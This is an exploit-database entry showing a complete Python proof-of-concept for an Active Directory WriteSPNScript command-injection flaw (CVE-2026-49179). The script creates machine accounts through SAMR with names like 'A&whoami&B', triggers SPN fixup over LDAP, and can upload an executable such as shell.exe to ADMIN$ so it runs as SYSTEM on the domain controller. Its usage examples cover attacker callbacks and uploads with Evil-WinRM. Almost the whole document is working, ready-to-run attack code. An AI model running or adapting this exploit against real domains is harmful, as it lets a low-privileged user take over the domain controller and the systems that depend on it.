Exploit database

GH-4acff99976bc4dc7f33a9491fed3ef51

overgrowncarrot1/cve-2026-49179-active-directory-writespnscript-command-injection

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-49179

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files2

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

spn_prl_exploit.py

Python · 25,806 bytes
#!/usr/bin/env python3
r"""
CVE-2026-49179 - WriteSPNScript Command Injection (PR:L Path)

WriteSPNScript in ntdsai.dll generates repadmin.exe commands with the
machine account DN unescaped. SAMR allows shell metacharacters in machine
names that LDAP SPN validation blocks. The & in the DN becomes a cmd.exe
command separator when the generated script is executed.

Attack flow:
  1. Create machine via SAMR with & in name (normal domain user)
  2. Set dNSHostName on the machine (creator has validated write)
  3. SPN fixup generates: repadmin /writespn ADD CN=A&cmd&B,... HOST/...
  4. cmd.exe splits on &, injected command runs as SYSTEM

SAMR accepts: & ' ` $ ( ) ! space
SAMR rejects: . \ / : " [ ] ; | = , + * ? < >

Payloads must avoid rejected characters. Use hostnames (not IPs with dots)
for network callbacks, or use local commands (calc, whoami, echo).

For authorized security testing only.
"""

import argparse
import sys
import random
import string

import os

try:
    from impacket.dcerpc.v5 import samr, transport
    HAS_IMPACKET = True
except ImportError:
    HAS_IMPACKET = False

try:
    import ldap3
    HAS_LDAP3 = True
except ImportError:
    HAS_LDAP3 = False

try:
    from impacket.smbconnection import SMBConnection
    HAS_SMB = True
except ImportError:
    HAS_SMB = False


def random_suffix(n=4):
    return ''.join(random.choices(string.digits, k=n))


def get_samr_handles(dc_ip, domain, username, password):
    """Connect to SAMR and return (dce, domain_handle)."""
    rpctransport = transport.DCERPCTransportFactory(
        f'ncacn_np:{dc_ip}[\\pipe\\samr]')
    rpctransport.set_credentials(username, password, domain)
    rpctransport.set_dport(445)

    dce = rpctransport.get_dce_rpc()
    dce.connect()
    dce.bind(samr.MSRPC_UUID_SAMR)

    resp = samr.hSamrConnect(dce)
    server_handle = resp['ServerHandle']

    resp = samr.hSamrEnumerateDomainsInSamServer(dce, server_handle)
    domain_sid = None
    for d in resp['Buffer']['Buffer']:
        if d['Name'].lower() != 'builtin':
            resp2 = samr.hSamrLookupDomainInSamServer(
                dce, server_handle, d['Name'])
            domain_sid = resp2['DomainId']
            break

    resp = samr.hSamrOpenDomain(dce, server_handle, domainId=domain_sid)
    domain_handle = resp['DomainHandle']
    return dce, server_handle, domain_handle


def probe_samr_chars(dc_ip, domain, username, password):
    """Test which characters and name patterns SAMR accepts."""
    if not HAS_IMPACKET:
        print("[-] impacket required")
        return

    print("\n[*] Probing SAMR character acceptance for machine names")
    dce, server_handle, domain_handle = get_samr_handles(
        dc_ip, domain, username, password)

    # Characters to test (beyond what probe3 already confirmed)
    test_chars = {
        '.': 'period (IP addresses)',
        '-': 'hyphen (flags)',
        '0': 'digit',
        '/': 'forward slash (paths)',
        '\\': 'backslash (paths)',
        ':': 'colon (drive letters)',
        '>': 'greater-than (redirect)',
        '<': 'less-than (redirect)',
        '=': 'equals',
        ',': 'comma',
        '@': 'at sign',
        '#': 'hash',
        '~': 'tilde',
        '%': 'percent (env vars)',
        '^': 'caret (cmd escape)',
    }

    accepted = []
    rejected = []

    for char, desc in test_chars.items():
        test_name = f"PRB{char}T$"
        try:
            resp = samr.hSamrCreateUser2InDomain(
                dce, domain_handle, test_name,
                samr.USER_WORKSTATION_TRUST_ACCOUNT,
                samr.USER_FORCE_PASSWORD_CHANGE | samr.GENERIC_WRITE)
            rid = resp['RelativeId']
            user_handle = resp['UserHandle']
            print(f"  [+] ACCEPTED  {repr(char):6s}  {desc}")
            accepted.append((char, desc))
            # Clean up
            try:
                samr.hSamrDeleteUser(dce, user_handle)
            except Exception:
                samr.hSamrCloseHandle(dce, user_handle)
        except Exception as e:
            if 'STATUS_INVALID_ACCOUNT_NAME' in str(e):
                print(f"  [-] REJECTED  {repr(char):6s}  {desc}")
                rejected.append((char, desc))
            elif 'STATUS_USER_EXISTS' in str(e):
                print(f"  [+] ACCEPTED  {repr(char):6s}  {desc} (already exists)")
                accepted.append((char, desc))
            else:
                print(f"  [?] ERROR     {repr(char):6s}  {e}")
                rejected.append((char, desc))

    # Test longer names with injection patterns
    print(f"\n[*] Testing injection name patterns:")
    patterns = [
        ("A&echo PROOF&B$", "basic echo injection"),
        ("A&whoami&B$", "whoami injection"),
        ("A&calc&B$", "calc injection"),
        ("A&ping HOSTNAME&B$", "ping hostname (no dots)"),
        ("A&net user&B$", "net user injection"),
        (f"INJ{random_suffix()}&echo X&Z$", "randomized injection"),
    ]

    pattern_results = []
    for name, desc in patterns:
        try:
            resp = samr.hSamrCreateUser2InDomain(
                dce, domain_handle, name,
                samr.USER_WORKSTATION_TRUST_ACCOUNT,
                samr.USER_FORCE_PASSWORD_CHANGE | samr.GENERIC_WRITE)
            rid = resp['RelativeId']
            user_handle = resp['UserHandle']
            print(f"  [+] ACCEPTED  {name:30s}  {desc}")
            pattern_results.append((name, desc, True))
            try:
                samr.hSamrDeleteUser(dce, user_handle)
            except Exception:
                samr.hSamrCloseHandle(dce, user_handle)
        except Exception as e:
            err = str(e)
            if 'STATUS_INVALID_ACCOUNT_NAME' in err:
                print(f"  [-] REJECTED  {name:30s}  {desc}")
                pattern_results.append((name, desc, False))
            elif 'STATUS_USER_EXISTS' in err:
                print(f"  [+] EXISTS    {name:30s}  {desc}")
                pattern_results.append((name, desc, True))
            else:
                short_err = err.split('\n')[0][:60]
                print(f"  [?] ERROR     {name:30s}  {short_err}")
                pattern_results.append((name, desc, False))

    samr.hSamrCloseHandle(dce, domain_handle)
    samr.hSamrCloseHandle(dce, server_handle)
    dce.disconnect()

    # Summary
    print(f"\n{'='*60}")
    print("SAMR PROBE SUMMARY")
    print(f"{'='*60}")
    print(f"Accepted chars: {', '.join(repr(c) for c,_ in accepted)}")
    print(f"Rejected chars: {', '.join(repr(c) for c,_ in rejected)}")
    working = [n for n, d, ok in pattern_results if ok]
    if working:
        print(f"\nWorking injection names:")
        for name in working:
            print(f"  {name}")
    return accepted, rejected, pattern_results


def create_injection_machine(dc_ip, domain, username, password, machine_name):
    """Create machine account via SAMR with injection chars in the name."""
    if not HAS_IMPACKET:
        print("[-] impacket required")
        return None

    sam_name = machine_name
    if not sam_name.endswith('$'):
        sam_name += '$'

    print(f"\n[*] Creating machine via SAMR: {repr(sam_name)}")

    dce, server_handle, domain_handle = get_samr_handles(
        dc_ip, domain, username, password)

    rid = None
    try:
        resp = samr.hSamrCreateUser2InDomain(
            dce, domain_handle, sam_name,
            samr.USER_WORKSTATION_TRUST_ACCOUNT,
            samr.USER_FORCE_PASSWORD_CHANGE | samr.GENERIC_WRITE)
        rid = resp['RelativeId']
        user_handle = resp['UserHandle']
        print(f"[+] Created {sam_name}, RID: {rid}")
    except samr.DCERPCSessionError as e:
        err = str(e)
        if 'STATUS_USER_EXISTS' in err:
            print(f"[*] {sam_name} already exists, reusing")
            try:
                resp = samr.hSamrLookupNamesInDomain(
                    dce, domain_handle, [sam_name])
                rid = resp['RelativeIds']['Element'][0]['Data']
                resp = samr.hSamrOpenUser(
                    dce, domain_handle, samr.GENERIC_WRITE, rid)
                user_handle = resp['UserHandle']
            except Exception as e2:
                print(f"[-] Could not open existing account: {e2}")
                samr.hSamrCloseHandle(dce, domain_handle)
                samr.hSamrCloseHandle(dce, server_handle)
                dce.disconnect()
                return None
        elif 'STATUS_INVALID_ACCOUNT_NAME' in err:
            print(f"[-] SAMR rejected this account name")
            print(f"    Name likely contains characters SAMR does not allow")
            print(f"    Rejected chars include: . \\ / : \" [ ] ; | = , + * ? < >")
            print(f"    Run with --probe to test character acceptance")
            samr.hSamrCloseHandle(dce, domain_handle)
            samr.hSamrCloseHandle(dce, server_handle)
            dce.disconnect()
            return None
        else:
            print(f"[-] SAMR error: {err}")
            samr.hSamrCloseHandle(dce, domain_handle)
            samr.hSamrCloseHandle(dce, server_handle)
            dce.disconnect()
            return None

    # Set password and account flags
    try:
        samr.hSamrSetPasswordInternal4New(dce, user_handle, "Inject2026!")
    except Exception:
        pass

    try:
        user_info = samr.SAMPR_USER_INFO_BUFFER()
        user_info['tag'] = samr.USER_INFORMATION_CLASS.UserControlInformation
        user_info['Control']['UserAccountControl'] = (
            samr.USER_WORKSTATION_TRUST_ACCOUNT |
            samr.USER_DONT_EXPIRE_PASSWORD)
        samr.hSamrSetInformationUser2(dce, user_handle, user_info)
    except Exception:
        pass

    samr.hSamrCloseHandle(dce, user_handle)
    samr.hSamrCloseHandle(dce, domain_handle)
    samr.hSamrCloseHandle(dce, server_handle)
    dce.disconnect()
    return rid


def trigger_spn_fixup(dc_ip, domain, username, password, machine_cn):
    """Set dNSHostName on the injection-named machine to trigger SPN fixup."""
    if not HAS_LDAP3:
        print("[-] ldap3 required")
        return False

    server = ldap3.Server(dc_ip, port=389, get_info=ldap3.ALL)
    conn = ldap3.Connection(
        server, user=f'{domain}\\{username}', password=password,
        authentication=ldap3.NTLM, auto_bind=True)

    base_dn = server.info.other.get('defaultNamingContext', [''])[0]
    if not base_dn:
        parts = domain.split('.')
        base_dn = ','.join(f'DC={p}' for p in parts)

    # Find machine by sAMAccountName
    sam_name = machine_cn if machine_cn.endswith('$') else machine_cn + '$'
    escaped_sam = ldap3.utils.conv.escape_filter_chars(sam_name)
    conn.search(base_dn, f'(sAMAccountName={escaped_sam})',
                attributes=['distinguishedName', 'servicePrincipalName',
                            'dNSHostName', 'sAMAccountName'])

    if not conn.entries:
        print(f"[-] Machine not found via LDAP search")
        machine_dn = f"CN={machine_cn.rstrip('$')},CN=Computers,{base_dn}"
        print(f"    Guessing DN: {machine_dn}")
    else:
        entry = conn.entries[0]
        machine_dn = str(entry.entry_dn)
        print(f"\n[+] Found machine:")
        print(f"    DN: {machine_dn}")
        print(f"    sAMAccountName: {entry.sAMAccountName}")
        if hasattr(entry, 'dNSHostName') and entry.dNSHostName:
            print(f"    dNSHostName: {entry.dNSHostName}")
        if hasattr(entry, 'servicePrincipalName') and entry.servicePrincipalName:
            for s in entry.servicePrincipalName:
                print(f"    SPN: {s}")

    clean_host = f"injtest{random_suffix()}.{domain}"
    print(f"\n[*] Setting dNSHostName = {clean_host}")

    result = conn.modify(machine_dn, {
        'dNSHostName': [(ldap3.MODIFY_REPLACE, [clean_host])]
    })

    if result:
        print(f"[+] dNSHostName set successfully!")
        conn.search(machine_dn, '(objectClass=*)', search_scope=ldap3.BASE,
                     attributes=['servicePrincipalName', 'dNSHostName'])
        if conn.entries:
            entry = conn.entries[0]
            print(f"    dNSHostName: {entry.dNSHostName}")
            if hasattr(entry, 'servicePrincipalName') and entry.servicePrincipalName:
                for s in entry.servicePrincipalName:
                    print(f"    SPN: {s}")
            else:
                print(f"    SPNs: (none set)")
    else:
        err = conn.result
        desc = err.get('description', '')
        msg = err.get('message', '')[:200]
        print(f"[-] dNSHostName set FAILED: {desc}")
        print(f"    {msg}")

        if 'insufficientAccessRights' in desc or 'INSUFF_ACCESS' in msg:
            print(f"\n[*] Trying alternative: direct SPN set...")
            result2 = conn.modify(machine_dn, {
                'servicePrincipalName': [(ldap3.MODIFY_ADD,
                                          [f"HOST/{clean_host}"])]
            })
            if result2:
                print(f"[+] SPN set succeeded - fixup may trigger")
            else:
                print(f"[-] SPN set failed: {conn.result.get('message', '')[:100]}")

            print(f"\n[*] Trying alternative: sAMAccountName change...")
            new_sam = f"INJ{random_suffix()}$"
            result3 = conn.modify(machine_dn, {
                'sAMAccountName': [(ldap3.MODIFY_REPLACE, [new_sam])]
            })
            if result3:
                print(f"[+] sAMAccountName changed to {new_sam}")
            else:
                print(f"[-] sAMAccountName change failed: "
                      f"{conn.result.get('message', '')[:100]}")

    conn.unbind()
    return result


def upload_payload(dc_ip, domain, username, password, local_file, remote_name):
    """Upload a file to the DC via SMB. Places it in C:\\Windows\\ so it's in
    the system PATH and can be called by name alone (no path chars needed)."""
    if not HAS_SMB:
        print("[-] impacket SMBConnection required for upload")
        return False

    if not os.path.exists(local_file):
        print(f"[-] Local file not found: {local_file}")
        return False

    file_size = os.path.getsize(local_file)
    print(f"\n[*] Uploading payload to DC via SMB")
    print(f"    Local:  {local_file} ({file_size} bytes)")
    print(f"    Remote: C:\\Windows\\{remote_name}")
    print(f"    (C:\\Windows is in system PATH — exe callable by name)")

    try:
        smb = SMBConnection(dc_ip, dc_ip)
        smb.login(username, password, domain)
        print(f"[+] SMB connected as {domain}\\{username}")

        # Upload to ADMIN$ share (maps to C:\Windows)
        with open(local_file, 'rb') as f:
            smb.putFile('ADMIN$', remote_name, f.read)
        print(f"[+] Uploaded to C:\\Windows\\{remote_name}")

        smb.logoff()
        return True

    except Exception as e:
        err = str(e)
        if 'STATUS_ACCESS_DENIED' in err:
            print(f"[-] Access denied — ADMIN$ share requires admin privileges")
            print(f"    For PR:L, pre-stage the file or use a writable share")
            print(f"    Alternative: upload via Evil-WinRM or other admin channel")
        elif 'STATUS_LOGON_FAILURE' in err:
            print(f"[-] Logon failed — check credentials")
        else:
            print(f"[-] SMB upload failed: {err}")
        return False


def show_injection(domain, machine_cn):
    """Visualize the command injection."""
    cn = machine_cn.rstrip('$')
    parts = domain.split('.')
    base_dn = ','.join(f'DC={p}' for p in parts)
    machine_dn = f"CN={cn},CN=Computers,{base_dn}"

    print(f"\n{'='*70}")
    print("INJECTION ANALYSIS")
    print(f"{'='*70}")
    print(f"\nMachine CN: {cn}")
    print(f"Full DN:    {machine_dn}")

    sys_dir = r"C:\Windows\System32"
    line = f"{sys_dir}\\repadmin.exe /writespn ADD {machine_dn} HOST/{cn}"
    print(f"\nWriteSPNScript output (unpatched):")
    print(f"  {line}")

    if '&' in cn:
        print(f"\ncmd.exe splits on '&':")
        cmd_parts = line.split('&')
        for i, part in enumerate(cmd_parts):
            part = part.strip()
            if i == 0:
                label = "repadmin (truncated, fails)"
            elif i == len(cmd_parts) - 1:
                label = "garbage (fails)"
            else:
                label = ">>> INJECTED COMMAND (SYSTEM) <<<"
            print(f"  [{i+1}] {part}")
            print(f"       {label}")

    print(f"\nTo manually verify on DC:")
    print(f"  cmd /c \"{line}\"")


def main():
    parser = argparse.ArgumentParser(
        description='CVE-2026-49179 WriteSPNScript Command Injection',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=r"""
Payloads (max ~15 chars, no dots/backslashes/colons):
  benign     A&echo POC&B       safe test, proves cmd splitting
  marker     A&echo CVE&B       writes CVE marker to console
  whoami     A&whoami&B         shows SYSTEM execution context
  calc       A&calc&B           opens calc (GUI proof on DC)
  ping       A&ping HOST&B      ICMP callback (1-char hostname!)
  exec       A&EXENAME&B        upload exe + run it (--exe required)
  custom     --inject-cn 'X&Y'  your own machine name

EXEC MODE (--exe):
  Uploads an exe/bat to C:\Windows\ via ADMIN$ share (needs admin creds
  for upload only — use --exe-upload-user/--exe-upload-pass). The file
  lands in PATH, so the injection calls it by name (no path chars).
  Use --exe-name to set a short remote filename (max ~11 chars).

  Machine creation still uses the low-priv user (-u). This splits the
  attack: admin stages the payload, normal user triggers injection.

  For pure PR:L: upload via a writable share or pre-stage the file,
  then use --inject-cn 'A&EXENAME&B' directly.

CONSTRAINTS:
  - sAMAccountName max ~15 chars before $ (NetBIOS limit)
  - SAMR rejects: . \ / : " [ ] ; | = , + * ? < >
  - SAMR accepts: & ' ` $ ( ) ! space (shell metacharacters!)
  - Use 1-char DNS hostname for ping (e.g., 'a' -> attacker IP)

Examples:
  # Probe SAMR character acceptance
  %(prog)s 192.168.56.11 -d north.sevenkingdoms.local \
      -u samwell.tarly -p Heartsbane --probe

  # Create injection machine (echo proof)
  %(prog)s 192.168.56.11 -d north.sevenkingdoms.local \
      -u samwell.tarly -p Heartsbane --payload benign

  # Ping callback (add DNS 'a' -> your IP first)
  %(prog)s 192.168.56.11 -d north.sevenkingdoms.local \
      -u samwell.tarly -p Heartsbane --payload ping --callback-host a

  # Upload and execute payload (admin uploads, low-priv triggers)
  %(prog)s 192.168.56.11 -d north.sevenkingdoms.local \
      -u samwell.tarly -p Heartsbane \
      --exe ./shell.exe --exe-name p.exe \
      --exe-upload-user administrator --exe-upload-pass 'AdminPass!'

  # Or upload manually first, then just create the injection:
  # Evil-WinRM: upload shell.exe C:\Windows\p.exe
  %(prog)s 192.168.56.11 -d north.sevenkingdoms.local \
      -u samwell.tarly -p Heartsbane --inject-cn 'A&p&B'
""")
    parser.add_argument('target', nargs='?', help='Target DC IP')
    parser.add_argument('-d', '--domain', help='Domain FQDN')
    parser.add_argument('-u', '--username', help='Username (normal domain user)')
    parser.add_argument('-p', '--password', help='Password')
    parser.add_argument('--payload', default='benign',
                        choices=['benign', 'marker', 'whoami', 'calc', 'ping',
                                 'exec'])
    parser.add_argument('--callback-host',
                        help='Hostname for ping callback (no dots!)')
    parser.add_argument('--inject-cn',
                        help='Custom machine name with injection')
    parser.add_argument('--exe', help='Local exe/bat to upload and execute. '
                        'Uploaded to C:\\Windows\\ (in PATH) via ADMIN$ share. '
                        'Machine name becomes A&EXENAME&B where EXENAME is the '
                        'file stem (no extension needed for .exe)')
    parser.add_argument('--exe-name',
                        help='Override remote filename (default: stem of --exe)')
    parser.add_argument('--exe-upload-user',
                        help='Username for SMB upload (if different from -u)')
    parser.add_argument('--exe-upload-pass',
                        help='Password for SMB upload (if different from -p)')
    parser.add_argument('--probe', action='store_true',
                        help='Probe SAMR character acceptance')
    parser.add_argument('--demo', action='store_true',
                        help='Show injection analysis only (offline)')
    parser.add_argument('--trigger', action='store_true',
                        help='Attempt to trigger SPN fixup via dNSHostName')

    args = parser.parse_args()

    print("=" * 70)
    print("CVE-2026-49179 - WriteSPNScript Command Injection")
    print("=" * 70)

    # Probe mode
    if args.probe:
        if not all([args.target, args.domain, args.username, args.password]):
            parser.error("target, -d, -u, -p required for --probe")
        probe_samr_chars(args.target, args.domain,
                         args.username, args.password)
        return

    # Build injection CN
    # sAMAccountName limit: 15 chars before $ (NetBIOS compat)
    MAX_CN_LEN = 15

    if args.inject_cn:
        inject_cn = args.inject_cn
    elif args.exe or args.payload == 'exec':
        if not args.exe:
            parser.error("--exe required for exec payload")
        base = os.path.basename(args.exe)
        stem = os.path.splitext(base)[0]
        remote_name = args.exe_name or base
        exe_cmd = args.exe_name or stem
        # Use short name: just the exe stem, no path needed (it's in PATH)
        inject_cn = f"A&{exe_cmd}&B"
        args.payload = 'exec'
    else:
        cb = args.callback_host or "x"
        payloads = {
            'benign': "A&echo POC&B",
            'marker': "A&echo CVE&B",
            'whoami': "A&whoami&B",
            'calc': "A&calc&B",
            'ping': f"A&ping {cb}&B",
        }
        inject_cn = payloads[args.payload]

        if args.payload == 'ping' and not args.callback_host:
            parser.error("--callback-host required for ping payload "
                         "(use short hostname, not IP — SAMR rejects dots)")

    cn_len = len(inject_cn)
    if cn_len > MAX_CN_LEN:
        print(f"\n[!] WARNING: CN '{inject_cn}' is {cn_len} chars")
        print(f"    sAMAccountName limit is ~{MAX_CN_LEN} chars before $")
        print(f"    SAMR will likely reject this name")
        print(f"    Use a shorter filename or --exe-name to set a short name")

    # Demo mode
    if args.demo:
        domain = args.domain or "north.sevenkingdoms.local"
        show_injection(domain, inject_cn)
        return

    if not all([args.target, args.domain, args.username, args.password]):
        parser.error("target, -d, -u, -p required")

    print(f"\nUser: {args.username}")
    print(f"Injection CN: {inject_cn}")

    show_injection(args.domain, inject_cn)

    # Step 0 (exec mode): Upload payload to DC
    if args.payload == 'exec' and args.exe:
        print(f"\n{'='*70}")
        print("STEP 0: Upload payload to DC via SMB")
        print(f"{'='*70}")
        upload_user = args.exe_upload_user or args.username
        upload_pass = args.exe_upload_pass or args.password
        remote_name = args.exe_name or os.path.basename(args.exe)
        ok = upload_payload(args.target, args.domain,
                           upload_user, upload_pass,
                           args.exe, remote_name)
        if not ok:
            print(f"\n[*] Upload failed. You can upload manually instead:")
            print(f"    Evil-WinRM: upload {args.exe} C:\\Windows\\{remote_name}")
            print(f"    Or: smbclient //DC/ADMIN$ -U user -c "
                  f"'put {args.exe} {remote_name}'")
            print(f"\n[*] Continuing with machine creation anyway...")

    # Step 1: Create machine
    print(f"\n{'='*70}")
    print("STEP 1: Create machine with injection name via SAMR")
    print(f"{'='*70}")

    rid = create_injection_machine(
        args.target, args.domain, args.username, args.password, inject_cn)
    if rid is None:
        sys.exit(1)

    # Step 2: Optionally trigger SPN fixup
    if args.trigger:
        print(f"\n{'='*70}")
        print("STEP 2: Trigger SPN fixup via dNSHostName")
        print(f"{'='*70}")
        ok = trigger_spn_fixup(
            args.target, args.domain, args.username, args.password, inject_cn)
    else:
        ok = None

    # Results
    parts = args.domain.split('.')
    base_dn = ','.join(f'DC={p}' for p in parts)
    cn = inject_cn.rstrip('$')
    full_dn = f"CN={cn},CN=Computers,{base_dn}"

    print(f"\n{'='*70}")
    print("RESULT")
    print(f"{'='*70}")
    print(f"[+] Machine account created in AD with injection DN")
    print(f"    DN: {full_dn}")

    if ok:
        print(f"[+] SPN fixup triggered via dNSHostName change")
    elif ok is None:
        print(f"[*] Use --trigger to attempt SPN fixup via dNSHostName")

    print(f"\n[*] To verify injection manually on the DC:")
    sys_dir = r"C:\Windows\System32"
    cmd = f"{sys_dir}\\repadmin.exe /writespn ADD {full_dn} HOST/{cn}"
    print(f'    cmd /c "{cmd}"')

    print(f"\n[*] WriteSPNScript generates this exact command when processing")
    print(f"    this machine during SPN fixup (dcdiag /fix, replication, etc.)")
    print(f"    The unescaped & causes cmd.exe command injection as SYSTEM")

    if args.payload == 'exec' and args.exe:
        remote = args.exe_name or os.path.basename(args.exe)
        stem = os.path.splitext(remote)[0]
        print(f"\n[*] Exec payload: C:\\Windows\\{remote}")
        print(f"    Injection runs '{stem}' which resolves via PATH")
        print(f"    The exe runs as NT AUTHORITY\\SYSTEM on the DC")


if __name__ == '__main__':
    main()